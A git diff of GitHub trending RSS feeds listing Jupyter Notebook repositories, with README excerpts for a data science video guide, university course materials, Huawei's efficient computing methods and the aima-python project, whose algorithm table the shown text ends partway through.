Notebook in GitHub - krishnaik06/The-Grand-Complete-Data-Science-Materials - 2023-09-24T01:34:16Z - tag:github.com,2023-09-24:/krishnaik06/The-Grand-Complete-Data-Science-Materials - - <p></p><hr><h1>The Grand Complete Data Science Guide With Videos And Materials</h1> <h2>1. Complete Python Playlist For Data Analytics And Data Science</h2> <ul> <li>Python In English: <a href="https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVNUL99R4bDlVYsncUNvwUBB">https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVNUL99R4bDlVYsncUNvwUBB</a></li> <li>Python In Hindi: <a href="https://www.youtube.com/watch?v=MJd9d9Mpxg0&amp;list=PLTDARY42LDV4qqiJd1Z1tShm3mp9-rP4v">https://www.youtube.com/watch?v=MJd9d9Mpxg0&amp;list=PLTDARY42LDV4qqiJd1Z1tShm3mp9-rP4v</a></li> </ul> <h2>2. Complete Stats Playlist For Data Analytics And Data Science</h2> <ul> <li>Stats In English One Shot: <a href="https://www.youtube.com/watch?v=LZzq1zSL1bs">https://www.youtube.com/watch?v=LZzq1zSL1bs</a></li> <li>Stats In English Detailed Playlist: <a href="https://www.youtube.com/watch?v=zRUliXuwJCQ&amp;list=PLZoTAELRMXVMhVyr3Ri9IQ-t5QPBtxzJO">https://www.youtube.com/watch?v=zRUliXuwJCQ&amp;list=PLZoTAELRMXVMhVyr3Ri9IQ-t5QPBtxzJO</a></li> <li>Stats In Hindi Detailed Playlist: <a href="https://www.youtube.com/watch?v=7y3XckjaVOw&amp;list=PLTDARY42LDV6YHSRo669_uDDGmUEmQnDJ">https://www.youtube.com/watch?v=7y3XckjaVOw&amp;list=PLTDARY42LDV6YHSRo669_uDDGmUEmQnDJ</a></li> </ul> <h2>3. Complete SQL For Data Analytics And Data Science</h2> <ul> <li>Complete SQl Detailed Playlist English: <a href="https://www.youtube.com/watch?v=us1XyayQ6fU&amp;list=PLZoTAELRMXVNMRWlVf0bDDSxNEn38u9Cl">https://www.youtube.com/watch?v=us1XyayQ6fU&amp;list=PLZoTAELRMXVNMRWlVf0bDDSxNEn38u9Cl</a></li> <li>Complete SQL Detailed Playlist Hindi : <strong>Coming Soon</strong></li> <li>Complete SQL One Shot : <strong>Coming Soon</strong></li> </ul> <h2>4. Git And Github Tutorials</h2> <ul> <li>Git and Github Tutorials In English: <a href="https://www.youtube.com/watch?v=GW7B6vwktPA&amp;list=PLZoTAELRMXVOSsBerFZKsdCaA4RYr4RGW">https://www.youtube.com/watch?v=GW7B6vwktPA&amp;list=PLZoTAELRMXVOSsBerFZKsdCaA4RYr4RGW</a></li> <li>Git and Github Tutorials In Hindi: <a href="https://www.youtube.com/watch?v=8KtY8ihZ8ME">https://www.youtube.com/watch?v=8KtY8ihZ8ME</a></li> </ul> <h2>5. EDA And Feature Engineering And Feature Selection</h2> <ul> <li>Feature Engineering Detailed Playlist: <a href="https://www.youtube.com/watch?v=6WDFfaYtN6s&amp;list=PLZoTAELRMXVPwYGE2PXD3x0bfKnR0cJjN">https://www.youtube.com/watch?v=6WDFfaYtN6s&amp;list=PLZoTAELRMXVPwYGE2PXD3x0bfKnR0cJjN</a></li> <li>Feature Selection Detailed Playlist: <a href="https://www.youtube.com/watch?v=uMlU2JaiOd8&amp;list=PLZoTAELRMXVPgjwJ8VyRoqmfNs2CJwhVH">https://www.youtube.com/watch?v=uMlU2JaiOd8&amp;list=PLZoTAELRMXVPgjwJ8VyRoqmfNs2CJwhVH</a></li> <li>EDA Detailed Playlist : <a href="https://www.youtube.com/watch?v=F-X82zhIfBo&amp;list=PLxvLUL96MOO6F8x2fLgFlNrJVcKPQuS3a">https://www.youtube.com/watch?v=F-X82zhIfBo&amp;list=PLxvLUL96MOO6F8x2fLgFlNrJVcKPQuS3a</a></li> </ul> <h2>6. Machine Learning Playlist</h2> <ul> <li>Detailed ML Playlist In English: <a href="https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVPBTrWtJkn3wWQxZkmTXGwe">https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVPBTrWtJkn3wWQxZkmTXGwe</a></li> <li>New ML Playlist 2023 In English(In Progress)- <a href="https://www.youtube.com/watch?v=ip4WxEZwEPc&amp;list=PLZoTAELRMXVPMbdMTjwolBI0cJcvASePD">https://www.youtube.com/watch?v=ip4WxEZwEPc&amp;list=PLZoTAELRMXVPMbdMTjwolBI0cJcvASePD</a></li> <li>Machine Learning One Shot In English: <a href="https://www.youtube.com/watch?v=JxgmHe2NyeY">https://www.youtube.com/watch?v=JxgmHe2NyeY</a></li> <li>Machine Learning Playlist In Hindi: <a href="https://www.youtube.com/watch?v=7uwa9aPbBRU&amp;list=PLTDARY42LDV7WGmlzZtY-w9pemyPrKNUZ">https://www.youtube.com/watch?v=7uwa9aPbBRU&amp;list=PLTDARY42LDV7WGmlzZtY-w9pemyPrKNUZ</a></li> </ul> <h2>7. Complete Deep Learning And NLP Playlist:</h2> <ul> <li>Complete Deep Learning And NLP Detailed Playlist In English: <a href="https://www.youtube.com/watch?v=YFNKnUhm_-s&amp;list=PLZoTAELRMXVPGU70ZGsckrMdr0FteeRUi">https://www.youtube.com/watch?v=YFNKnUhm_-s&amp;list=PLZoTAELRMXVPGU70ZGsckrMdr0FteeRUi</a></li> <li>Complete NLP Live Playlist English: <a href="https://www.youtube.com/watch?v=w3coRFpyddQ&amp;list=PLZoTAELRMXVNNrHSKv36Lr3_156yCo6Nn">https://www.youtube.com/watch?v=w3coRFpyddQ&amp;list=PLZoTAELRMXVNNrHSKv36Lr3_156yCo6Nn</a></li> <li>Complete Deep Learning And NLP Playlist Hindi: <strong>Coming soon</strong></li> </ul> <h2>8. Important Frameworks for Production Deployments</h2> <ul> <li>Flask Detailed Playlist In English: <a href="https://www.youtube.com/watch?v=4L_xAWDRs7w&amp;list=PLZoTAELRMXVPBaLN3e-uoVRR9hlRFRfUc">https://www.youtube.com/watch?v=4L_xAWDRs7w&amp;list=PLZoTAELRMXVPBaLN3e-uoVRR9hlRFRfUc</a></li> <li>Flask One Shot Hindi: <a href="https://www.youtube.com/watch?v=KF-rDqQfqz0">https://www.youtube.com/watch?v=KF-rDqQfqz0</a></li> <li>Gradio Framework: <a href="https://www.youtube.com/watch?v=wruyZWre2sM">https://www.youtube.com/watch?v=wruyZWre2sM</a></li> <li>BentoML: <a href="https://www.youtube.com/watch?v=i_FtfdOKa2M">https://www.youtube.com/watch?v=i_FtfdOKa2M</a></li> <li>MLFLOw and Dagshub: <a href="https://www.youtube.com/watch?v=qdcHHrsXA48">https://www.youtube.com/watch?v=qdcHHrsXA48</a></li> </ul> <h2>9. Complete AWS Sagemaker And Sagemaker Studio Tools</h2> <ul> <li>Sagemaker Detailed Playlist: <a href="https://www.youtube.com/watch?v=LkR3GNDB0HI&amp;list=PLZoTAELRMXVONh5mHrXowH6-dgyWoC_Ew">https://www.youtube.com/watch?v=LkR3GNDB0HI&amp;list=PLZoTAELRMXVONh5mHrXowH6-dgyWoC_Ew</a></li> <li>Sagemaker End to End Projects- <strong>Coming Soon</strong></li> </ul> <h2>10. Complete MLOPS tutorials</h2> <ul> <li>Complete Dockers In One Shot English: <a href="https://www.youtube.com/watch?v=8vmKtS8W7IQ">https://www.youtube.com/watch?v=8vmKtS8W7IQ</a></li> <li>MLFLOW End to End Tutorials With Deployment: <a href="https://www.youtube.com/watch?v=pxk1Fr33-L4">https://www.youtube.com/watch?v=pxk1Fr33-L4</a></li> <li>Evidently AI Model Monitoring: <a href="https://www.youtube.com/watch?v=cgc3dSEAel0">https://www.youtube.com/watch?v=cgc3dSEAel0</a></li> <li>Complete Docker In One Shot Hindi: <strong>Coming soon</strong></li> <li>Complete Github Action In English: <strong>Coming soon</strong></li> <li>Complete Kubernetes And Kubeflow Tutorials: <strong>Coming Soon</strong></li> </ul> <h2>11. End To End ML,DL and NLP Projects- Entire Lifecycle Till Deployment Using Open Source Tools</h2> <ul> <li>End To End ML Projects Playlist In English: <a href="https://www.youtube.com/watch?v=S_F_c9e2bz4&amp;list=PLZoTAELRMXVPS-dOaVbAux22vzqdgoGhG&amp;index=1">https://www.youtube.com/watch?v=S_F_c9e2bz4&amp;list=PLZoTAELRMXVPS-dOaVbAux22vzqdgoGhG&amp;index=1</a></li> <li>End To End ML Playlist In Hindi: <a href="https://www.youtube.com/watch?v=NuwUnRpxq2c&amp;list=PLTDARY42LDV7jzL_f68SY-eOQ9tY2lYvR">https://www.youtube.com/watch?v=NuwUnRpxq2c&amp;list=PLTDARY42LDV7jzL_f68SY-eOQ9tY2lYvR</a></li> </ul> <h2>12. Generative AI And Open AI Playlist:</h2> <ul> <li>OPENAI Playlist English(In Progress): <a href="https://www.youtube.com/watch?v=CbpsDMwFG2g&amp;list=PLZoTAELRMXVMTWGW9iS45ZTcMsntos6VO">https://www.youtube.com/watch?v=CbpsDMwFG2g&amp;list=PLZoTAELRMXVMTWGW9iS45ZTcMsntos6VO</a></li> <li>Langchain Playlist(In Progress): <a href="https://www.youtube.com/watch?v=_FpT1cwcSLg&amp;list=PLZoTAELRMXVORE4VF7WQ_fAl0L1Gljtar">https://www.youtube.com/watch?v=_FpT1cwcSLg&amp;list=PLZoTAELRMXVORE4VF7WQ_fAl0L1Gljtar</a></li> <li>ChainLit Playlist <strong>(In Progress)</strong></li> </ul> <h2>13. Pyspark Complete Tutorials</h2> <ul> <li>Pyspark Detailed Playlist: <a href="https://www.youtube.com/watch?v=WyZmM6K7ubc&amp;list=PLZoTAELRMXVNjiiawhzZ0afHcPvC8jpcg">https://www.youtube.com/watch?v=WyZmM6K7ubc&amp;list=PLZoTAELRMXVNjiiawhzZ0afHcPvC8jpcg</a></li> </ul> <h2>14. Complete Data Science,Machine Learning And Deep Learning Interview Questions</h2> <p><a href="https://github.com/iNeuronai/interview-question-data-science-">https://github.com/iNeuronai/interview-question-data-science-</a></p> <h2>Internships</h2> <p><a href="https://internship.ineuron.ai/">https://internship.ineuron.ai/</a></p> <h2>Data Science TrackerSheet For Learning</h2> <p><a href="https://drive.google.com/file/d/18doA_wMja2nAawcE6imIcfnEMf-Pir2n/view">https://drive.google.com/file/d/18doA_wMja2nAawcE6imIcfnEMf-Pir2n/view</a></p> <h2>Youtube Channels For Referring All Videos. Consider Subscribing and pressing the bell icon.</h2> <ul> <li>Krish Naik : <a href="https://www.youtube.com/@krishnaik06">https://www.youtube.com/@krishnaik06</a></li> <li>Krish Naik Hindi: <a href="https://www.youtube.com/@krishnaikhindi">https://www.youtube.com/@krishnaikhindi</a></li> <li>Success Stories By Krish(Coming up): <a href="https://www.youtube.com/channel/UCNSHtBgZ3dhcpv190JrK_LQ">https://www.youtube.com/channel/UCNSHtBgZ3dhcpv190JrK_LQ</a></li> <li>Support Channel and Join this channel to get access to perks: <a href="https://www.youtube.com/channel/UCNU_lfiiWBdtULKOw6X0Dig/join">https://www.youtube.com/channel/UCNU_lfiiWBdtULKOw6X0Dig/join</a></li> </ul> - - - epfl-ada/2023 - 2023-09-24T01:34:16Z - tag:github.com,2023-09-24:/epfl-ada/2023 - - <p>Materials for Applied Data Analysis CS-401, Fall 2023</p><hr><h1>2023</h1> <p>Materials for Applied Data Analysis CS-401, Fall 2023</p> - - - pachterlab/BI-BE-CS-183-2023 - 2023-09-24T01:34:16Z - tag:github.com,2023-09-24:/pachterlab/BI-BE-CS-183-2023 - - <p>Introduction to Computational Biology and Bioinformatics Course at Caltech, 2023</p><hr><h2>Caltech BI/BE/CSS 183: Introduction to Computational Biology and Bioinformatics</h2> <p>This repository contains lecture notes, problem sets, and associated Google Colaboratory notebooks for the Caltech Bi/BE/CS 183 class taught by Professor <a href="https://www.bbe.caltech.edu/people/lior-s-pachter">Lior Pachter</a> in the Winter Quarter 2022-2023. The TAs for the class were Tara Chari, Meichen Fang, and Jerry Wang. Along with tutoring students, the TAs helped prepare the materias and write the problem sets with solutions. An overview of the class is provided in the <a href="https://docs.google.com/document/d/1LV7rLCGQwl5F8pxuvCw_G8cntIuZRlpN7UFfKLJz2bc/edit?usp=sharing">syllabus</a>.</p> <h3>Lectures slides</h3> <ul> <li><a href="https://docs.google.com/presentation/d/1-Bo7yaaaxbf8ul_2gacZIII_pggd6JmSVXEF4Zwqekg/edit?usp=sharing">Lecture 1</a>: Introduction to computational biology of single-cell RNA-seq</li> <li><a href="https://docs.google.com/presentation/d/1tpeNHSONBunT7TwZSlwm42VknPVNeufdY7A4rzqMhkI/edit?usp=drive_link">Lecture 2</a>: Single-cell RNA-seq technology</li> <li><a href="https://docs.google.com/presentation/d/1P2tFP82zIwZHOlRQWu8qlFUjCck3BDhtTPquZssciio/edit?usp=drive_link">Lecture 3</a>: Linear and logistic regression</li> <li><a href="https://docs.google.com/presentation/d/1ZJQQSgKdQA7PUw2HyZmgJwRN1IgRXA0e1XTmL9D3iF8/edit?usp=drive_link">Lecture 4</a>: Correlation and causation</li> <li><a href="https://docs.google.com/presentation/d/1A0g8BbgGmQllI5y1kdEYOPRQ0Q9CPMDMmX-RQwbhRzM/edit?usp=drive_link">Lecture 5</a>: Singular value decomposition</li> <li><a href="https://docs.google.com/presentation/d/1DTuLMODtcFy-x1X1J4p7hy8aIxr9VnGyY98XNKs1B78/edit?usp=drive_link">Lecture 6</a>: Dimensionality reduction</li> <li><a href="https://docs.google.com/presentation/d/1hH6WcVqrTsZRJmkTstJNjIka5g2eJcCnD_sBn4G-J6w/edit?usp=drive_link">Lecture 7</a>: Clustering</li> <li><a href="https://docs.google.com/presentation/d/1G4s2D-Y2Z5LFVe41enVBepyffSAjuAhrJZ7Hzn8A3nU/edit?usp=drive_link">Lecture 8</a>: Read alignment</li> <li><a href="https://docs.google.com/presentation/d/1XELEyVhr0vMpkaGXq4INhNq8mXttqz_NZ1ZGclUFM0Y/edit?usp=drive_link">Lecture 9</a>: String algorithms</li> <li><a href="https://docs.google.com/presentation/d/1XjHXsOVMdO0DgP8NvNCHC82DyudHrtf2YXOzRoPBN5g/edit?usp=drive_link">Lecture 10</a>: Modeling counts</li> <li><a href="https://docs.google.com/presentation/d/1Snj90kIe6iguVfftZ18404C4h8WcHoEdA8isfy021GQ/edit?usp=drive_link">Lecture 11</a>: Generalized linear models</li> <li><a href="https://docs.google.com/presentation/d/1qTSqWCfXNwKxpMT5VcgCrv_gmZ9xlXazukaWjWYoJ3o/edit?usp=drive_link">Lecture 12</a>: Variance stablization</li> <li><a href="https://docs.google.com/presentation/d/1ExkNVQ8u8IuZ1ZmUpTyd7oBuRkqU5RZEHm1q4eqK9Uc/edit?usp=drive_link">Lecutre 13</a>: Differential analysis</li> <li><a href="https://docs.google.com/presentation/d/1F-OFNeVNClOYxTnJGW-pZ0KHzTIggPZeyZsk7y9gM0g/edit?usp=drive_link">Lecture 14</a>: Multiple testing</li> <li><a href="https://docs.google.com/presentation/d/1zpWVNvlbnqAjDlFr4XGaocOPw0Y-s6qm16kf01GS2aM/edit?usp=drive_link">Lecture 15</a>: Hidden Markov models</li> <li><a href="https://docs.google.com/presentation/d/1ry13HMq3z-DERtXNnm5L_YHXQFtIltmoGDTq3zydn6k/edit?usp=drive_link">Lecture 16</a>: Dynamic programming</li> <li><a href="https://docs.google.com/presentation/d/1Nf528xSOGWQS6sEkkAdA1MSt4p7u3aHnttA-tXGlzP0/edit?usp=drive_link">Lecture 17</a>: Mechanism</li> <li><a href="https://docs.google.com/presentation/d/15lw0UxeSoVwxrmn8L5BYu_xr7ccMB2u3QvGcn7M0sa8/edit?usp=drive_link">Lecture 18</a>: The Chemical Master Equation</li> <li><a href="https://docs.google.com/presentation/d/1OroKl_6AyrX422RGkodctorMA1dBhNBwbITg_kzxB3Q/edit?usp=drive_link">Lecture 19</a>: Neural networks</li> </ul> + huawei-noah/Efficient-Computing + 2023-09-25T01:33:09Z + tag:github.com,2023-09-25:/huawei-noah/Efficient-Computing + + <p>Efficient computing methods developed by Huawei Noah's Ark Lab</p><hr><h1>Efficient Computing</h1> <p>This repo is a collection of Efficient-Computing methods developed by Huawei Noah's Ark Lab.</p> <ul> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/Data-Efficient-Model-Compression">Data-Efficient-Model-Compression</a> is a series of compression methods with no or little training data.</li> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/BinaryNetworks">BinaryNetworks</a>: Binary neural networks including <a href="https://arxiv.org/abs/2208.08084">AdaBin (ECCV22)</a>.</li> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/Distillation">Distillation</a>: Knowledge distillation methods including <a href="https://arxiv.org/pdf/2107.01378.pdf">ManifoldKD (NeurIPS22)</a> and <a href="https://arxiv.org/abs/2305.15781">VanillaKD (NeurIPS23)</a>.</li> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/Pruning">Pruning</a>: Network pruning methods including <a href="https://arxiv.org/abs/1907.10804">GAN-pruning (ICCV19)</a>, <a href="https://arxiv.org/abs/2010.10732">SCOP (NeurIPS20)</a> and <a href="https://openaccess.thecvf.com/content/CVPR2021/papers/Tang_Manifold_Regularized_Dynamic_Network_Pruning_CVPR_2021_paper.pdf">ManiDP (CVPR21)</a>.</li> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/Quantization">Quantization</a>: Model quantization methods including <a href="https://openaccess.thecvf.com/content/CVPR2022/html/Liu_Instance-Aware_Dynamic_Neural_Network_Quantization_CVPR_2022_paper.html">DynamicQuant (CVPR22)</a>.</li> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/Self-supervised">Self-supervised</a>: self-supervised learning including <a href="https://arxiv.org/pdf/2212.06593.pdf">FastMIM</a> and <a href="https://arxiv.org/abs/2303.05251">LocalMIM (CVPR23)</a>.</li> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/TrainingAcceleration">TrainingAcceleration</a>: Accelerating neural network training via <a href="https://openaccess.thecvf.com/content/CVPR2023/papers/Ding_Network_Expansion_for_Practical_Training_Acceleration_CVPR_2023_paper.pdf">NetworkExpansion (CVPR23)</a>.</li> <li><a href="https://github.com/huawei-noah/Efficient-Computing/tree/master/Detection">Detection</a>: Efficient object detectors including <a href="https://arxiv.org/abs/2309.11331">Gold-YOLO (NeurIPS23)</a>.</li> </ul> \ No newline at end of file diff --git a/jupyter-notebook/weekly/index.xml b/jupyter-notebook/weekly/index.xml deleted file mode 100644 index 322d569de6d..00000000000 --- a/jupyter-notebook/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Jupyter Notebook Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:10Z - Weekly Trending of Jupyter Notebook in GitHub - - - aimacode/aima-python - 2023-09-24T01:54:10Z - tag:github.com,2023-09-24:/aimacode/aima-python - - <p>Python implementation of algorithms from Russell And Norvig's "Artificial Intelligence - A Modern Approach"</p><hr><h1><code>aima-python</code> <a href="https://travis-ci.org/aimacode/aima-python"><img src="https://travis-ci.org/aimacode/aima-python.svg?branch=master" alt="Build Status"></a> <a href="http://mybinder.org/repo/aimacode/aima-python"><img src="http://mybinder.org/badge.svg?sanitize=true" alt="Binder"></a></h1> <p>Python code for the book <em><a href="http://aima.cs.berkeley.edu">Artificial Intelligence: A Modern Approach</a>.</em> You can use this in conjunction with a course on AI, or for study on your own. We're looking for <a href="https://github.com/aimacode/aima-python/raw/master/CONTRIBUTING.md">solid contributors</a> to help.</p> <h1>Updates for 4th Edition</h1> <p>The 4th edition of the book as out now in 2020, and thus we are updating the code. All code here will reflect the 4th edition. Changes include:</p> <ul> <li>Move from Python 3.5 to 3.7.</li> <li>More emphasis on Jupyter (Ipython) notebooks.</li> <li>More projects using external packages (tensorflow, etc.).</li> </ul> <h1>Structure of the Project</h1> <p>When complete, this project will have Python implementations for all the pseudocode algorithms in the book, as well as tests and examples of use. For each major topic, such as <code>search</code>, we provide the following files:</p> <ul> <li><code>search.ipynb</code> and <code>search.py</code>: Implementations of all the pseudocode algorithms, and necessary support functions/classes/data. The <code>.py</code> file is generated automatically from the <code>.ipynb</code> file; the idea is that it is easier to read the documentation in the <code>.ipynb</code> file.</li> <li><code>search_XX.ipynb</code>: Notebooks that show how to use the code, broken out into various topics (the <code>XX</code>).</li> <li><code>tests/test_search.py</code>: A lightweight test suite, using <code>assert</code> statements, designed for use with <a href="http://pytest.org/latest/"><code>py.test</code></a>, but also usable on their own.</li> </ul> <h1>Python 3.7 and up</h1> <p>The code for the 3rd edition was in Python 3.5; the current 4th edition code is in Python 3.7. It should also run in later versions, but does not run in Python 2. You can <a href="https://www.python.org/downloads">install Python</a> or use a browser-based Python interpreter such as <a href="https://repl.it/languages/python3">repl.it</a>. You can run the code in an IDE, or from the command line with <code>python -i filename.py</code> where the <code>-i</code> option puts you in an interactive loop where you can run Python functions. All notebooks are available in a <a href="http://mybinder.org/repo/aimacode/aima-python">binder environment</a>. Alternatively, visit <a href="http://jupyter.org/">jupyter.org</a> for instructions on setting up your own Jupyter notebook environment.</p> <p>Features from Python 3.6 and 3.7 that we will be using for this version of the code:</p> <ul> <li><a href="https://docs.python.org/3.6/whatsnew/3.6.html#whatsnew36-pep498">f-strings</a>: all string formatting should be done with <code>f'var = {var}'</code>, not with <code>'var = {}'.format(var)</code> nor <code>'var = %s' % var</code>.</li> <li><a href="https://docs.python.org/3.7/library/typing.html"><code>typing</code> module</a>: declare functions with type hints: <code>def successors(state) -&gt; List[State]:</code>; that is, give type declarations, but omit them when it is obvious. I don't need to say <code>state: State</code>, but in another context it would make sense to say <code>s: State</code>.</li> <li>Underscores in numerics: write a million as <code>1_000_000</code> not as <code>1000000</code>.</li> <li><a href="https://docs.python.org/3.7/library/dataclasses.html#module-dataclasses"><code>dataclasses</code> module</a>: replace <code>namedtuple</code> with <code>dataclass</code>.</li> </ul> <h2>Installation Guide</h2> <p>To download the repository:</p> <p><code>git clone https://github.com/aimacode/aima-python.git</code></p> <p>Then you need to install the basic dependencies to run the project on your system:</p> <pre><code>cd aima-python pip install -r requirements.txt </code></pre> <p>You also need to fetch the datasets from the <a href="https://github.com/aimacode/aima-data"><code>aima-data</code></a> repository:</p> <pre><code>git submodule init git submodule update </code></pre> <p>Wait for the datasets to download, it may take a while. Once they are downloaded, you need to install <code>pytest</code>, so that you can run the test suite:</p> <p><code>pip install pytest</code></p> <p>Then to run the tests:</p> <p><code>py.test</code></p> <p>And you are good to go!</p> <h1>Index of Algorithms</h1> <p>Here is a table of algorithms, the figure, name of the algorithm in the book and in the repository, and the file where they are implemented in the repository. This chart was made for the third edition of the book and is being updated for the upcoming fourth edition. Empty implementations are a good place for contributors to look for an issue. The <a href="https://github.com/aimacode/aima-pseudocode">aima-pseudocode</a> project describes all the algorithms from the book. An asterisk next to the file name denotes the algorithm is not fully implemented. Another great place for contributors to start is by adding tests and writing on the notebooks. You can see which algorithms have tests and notebook sections below. If the algorithm you want to work on is covered, don't worry! You can still add more tests and provide some examples of use in the notebook!</p> <table> <thead> <tr> <th align="left"><strong>Figure</strong></th> <th align="left"><strong>Name (in 3<sup>rd</sup> edition)</strong></th> <th align="left"><strong>Name (in repository)</strong></th> <th align="left"><strong>File</strong></th> <th align="left"><strong>Tests</strong></th> <th align="left"><strong>Notebook</strong></th> </tr> </thead> <tbody> <tr> <td align="left">2</td> <td align="left">Random-Vacuum-Agent</td> <td align="left"><code>RandomVacuumAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2</td> <td align="left">Model-Based-Vacuum-Agent</td> <td align="left"><code>ModelBasedVacuumAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2.1</td> <td align="left">Environment</td> <td align="left"><code>Environment</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2.1</td> <td align="left">Agent</td> <td align="left"><code>Agent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2.3</td> <td align="left">Table-Driven-Vacuum-Agent</td> <td align="left"><code>TableDrivenVacuumAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2.7</td> <td align="left">Table-Driven-Agent</td> <td align="left"><code>TableDrivenAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2.8</td> <td align="left">Reflex-Vacuum-Agent</td> <td align="left"><code>ReflexVacuumAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2.10</td> <td align="left">Simple-Reflex-Agent</td> <td align="left"><code>SimpleReflexAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">2.12</td> <td align="left">Model-Based-Reflex-Agent</td> <td align="left"><code>ReflexAgentWithState</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/agents.py"><code>agents.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3</td> <td align="left">Problem</td> <td align="left"><code>Problem</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3</td> <td align="left">Node</td> <td align="left"><code>Node</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3</td> <td align="left">Queue</td> <td align="left"><code>Queue</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/utils.py"><code>utils.py</code></a></td> <td align="left">Done</td> <td align="left">No Need</td> </tr> <tr> <td align="left">3.1</td> <td align="left">Simple-Problem-Solving-Agent</td> <td align="left"><code>SimpleProblemSolvingAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.2</td> <td align="left">Romania</td> <td align="left"><code>romania</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.7</td> <td align="left">Tree-Search</td> <td align="left"><code>depth/breadth_first_tree_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.7</td> <td align="left">Graph-Search</td> <td align="left"><code>depth/breadth_first_graph_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.11</td> <td align="left">Breadth-First-Search</td> <td align="left"><code>breadth_first_graph_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.14</td> <td align="left">Uniform-Cost-Search</td> <td align="left"><code>uniform_cost_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.17</td> <td align="left">Depth-Limited-Search</td> <td align="left"><code>depth_limited_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.18</td> <td align="left">Iterative-Deepening-Search</td> <td align="left"><code>iterative_deepening_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.22</td> <td align="left">Best-First-Search</td> <td align="left"><code>best_first_graph_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.24</td> <td align="left">A*-Search</td> <td align="left"><code>astar_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">3.26</td> <td align="left">Recursive-Best-First-Search</td> <td align="left"><code>recursive_best_first_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">4.2</td> <td align="left">Hill-Climbing</td> <td align="left"><code>hill_climbing</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> 